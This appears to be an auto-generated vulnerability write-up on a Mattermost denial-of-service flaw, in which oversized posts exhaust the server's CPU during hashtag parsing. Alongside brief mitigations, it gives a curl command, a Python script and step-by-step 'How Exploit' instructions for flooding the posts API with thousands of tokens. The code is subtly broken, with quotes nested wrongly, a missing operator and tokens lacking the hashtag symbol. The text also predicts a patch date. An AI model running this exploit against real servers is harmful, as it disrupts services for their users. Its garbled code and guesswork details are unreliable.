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The CVE-2025-11011 vulnerability in Mattermost arises from inadequate input validation in the hashtag processing functionality. In versions 10.11.x through 10.11.8, the system does not check the size or number of tokens in a post before attempting to parse and process hashtags. Hashtag extraction is performed by scanning the message content for space-separated tokens that match specific patterns. The algorithm employed for this task has an inefficient worst-case computational complexity, potentially quadratic or exponential, when handling a large number of tokens. An authenticated attacker can exploit this by crafting a single HTTP POST request to create a post containing thousands of space-separated words, each triggering hashtag processing logic. This forces the server into the worst-case execution path, consuming excessive CPU cycles as it iterates through all tokens and performs redundant checks. The lack of resource allocation limits allows this single request to monopolize CPU resources, leading to denial of service. The vulnerability is rooted in both algorithmic inefficiency and missing bounds checks, enabling resource exhaustion without needing multiple requests or elevated privileges.
Platform: Mattermost
Version: <=10.11.8
Vulnerability: CPU exhaustion via hashtags
Severity: Critical
date: 2025-01-15
Prediction: Patch 10.11.9 2025-01-30
What Undercode Say:
Analytics:
curl -X POST https://mattermost-server/api/v4/posts -H "Authorization: Bearer <token>" -d '{"message":"$(python3 -c 'print("" + " ".join(["token"]10000))')"}'
top -b -n 1 | grep mattermost
ps aux | grep mattermost | awk '{print $3}' | sort -nr | head -5
import requests
import sys
token = "YOUR_TOKEN"
url = "https://mattermost-server/api/v4/posts"
payload = {"message": " ".join(["tag" + str(i) for i in range(10000)])}
headers = {"Authorization": f"Bearer {token}"}
response = requests.post(url, json=payload, headers=headers)
print(response.status_code)
How Exploit:
- Authenticate obtain token.
- Craft post with thousands of space-separated hashtags.
- Send HTTP POST to /api/v4/posts.
- Server CPU exhausts processing.
Protection from this CVE:
- Upgrade to 10.11.9+.
- Implement input size limits.
- Enable rate limiting.
Impact:
- Denial of Service.
- Performance degradation.
- Service downtime.
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Sources:
Reported By: github.com
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